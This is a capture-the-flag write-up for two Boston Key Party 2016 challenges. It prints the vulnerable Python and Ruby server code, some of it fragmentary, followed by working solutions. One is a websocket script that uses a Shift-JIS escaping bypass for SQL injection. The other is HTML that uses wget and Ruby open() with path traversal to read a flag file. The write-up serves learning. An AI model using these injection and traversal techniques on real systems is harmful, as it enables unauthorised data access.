07-03-2016 / Ctf

Boston Key Party CTF 2016 Good Morning and OptiProxy Writeup

Below you can find my solution for Good Morning and OptiProxy tasks from Boston Key Party CTF 2016.

Good Morning

#!/usr/bin/env python
from flask import Flask, render_template, Response
from flask_sockets import Sockets
import json
import MySQLdb
app = Flask(__name__)
sockets = Sockets(app)
with open("config.json") as f:
 connect_params = json.load(f)
connect_params["db"] = "ganbatte"
# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"
questions = [
  "favorite color",
# List from http://php.net/manual/en/function.mysql-real-escape-string.php
  ("\\", "\\\\"),
  ("\0", "\\0"),
  ("\n", "\\n"),
  ("\r", "\\r"),
  ("'", "\\'"),
  ('"', '\\"'),
  ("\x1a", "\\Z"),
def mysql_escape(s):
  for find, replace in  MYSQL_SPECIAL_CHARS:
    s = s.replace(find, replace)
  return s
def process_questsions(ws):
  i = 0
  conn = MySQLdb.connect(**connect_params)
  with conn as cursor:
    ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
    while not ws.closed:
      message = ws.receive()
      if not message: continue
      message = json.loads(message)
      if message["type"] == "answer":
        question = mysql_escape(questions[i])
        answer = mysql_escape(message["answer"])
        cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
        i += 1
        if i < len(questions):
          ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
      elif message["type"] == "get_answer":
        question = mysql_escape(message["question"])
        answer = mysql_escape(message["answer"])
        cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
        ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))
      print message
def hello():
  return app.send_static_file("index.html")
if __name__ == "__main__":
  from gevent import pywsgi
  from geventwebsocket.handler import WebSocketHandler
  addr = ('localhost', 5000)
  server = pywsgi.WSGIServer(addr, app, handler_class=WebSocketHandler)

We have SQL Injection because of shift-jis encoding.

Here you can find explanation for this (page 36).

My solution (you need websocket-client):

# -*- coding: utf-8 -*-
import json
from websocket import create_connection
payload = '{"type":"get_answer","question": "¥\\" OR 1=1#", "answer":"test"}'
ws = create_connection("ws://")
result =  ws.recv()
result =  ws.recv()
print result


require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'
set :bind, ""
set :port, 5300
cdir = Dir.pwd
get '/' do
        str = "welcome to the automatic resource inliner, we inline all images"
        str << " go to /example.com to get an inlined version of example.com"
        str << " flag is in /flag"
        str << " source is in /source"
get '/source' do
        IO.read "/home/optiproxy/optiproxy.rb"
get '/flag' do
        str = "I mean, /flag on the file system... If you're looking here, I question"
        str << " your skills"
get '/:url' do
        url = params[:url]
        main_dir = Dir.pwd
        temp_dir = ""
        dir = Dir.mktmpdir "inliner"
        Dir.chdir dir
        temp_dir = dir
        exec = "timeout 5 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
        my_dir = Dir.glob ("**/")
        Dir.chdir my_dir[0]
        index_file = "index.html"
        html_file = IO.read index_file
        doc = Nokogiri::HTML(open(index_file))
        doc.xpath('//img').each do |img|
                header = img.xpath('preceding::h2[1]').text
                image = img['src']
                img_data = ""
                uri_scheme = URI(image).scheme
                        if (uri_scheme == "http" or uri_scheme == "https")
                                url = image
                                url = "http://#{url}/#{image}"
                        img_data = open(url).read
                        b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
                        img['src'] = b64d
                        # gotta catch 'em all
                        puts "lole"
        puts dir
        FileUtils.rm_rf dir
        Dir.chdir main_dir

As you can read here ruby open function is very dangerous.

So we can omit uri_scheme check if we can create http: directory inside temp dir.

And because wget is used with param --page-requisites which

This option causes Wget to download all the files that are necessary to properly display a given HTML page. This includes such things as inlined images, sounds, and referenced stylesheets.

we can create this dir using stylesheet directive.

<link rel="stylesheet" type="text/css" href="./http:/style.css">
<img src="http:/../../flag">
<img src="http:/../../../flag">
<img src="http:/../../../../flag">
<img src="http:/../../../../../flag">
<img src="http:/../../../../../../flag">
<img src="http:/../../../../../../../flag">
<img src="http:/../../../../../../../../flag">
<img src="http:/../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../../flag">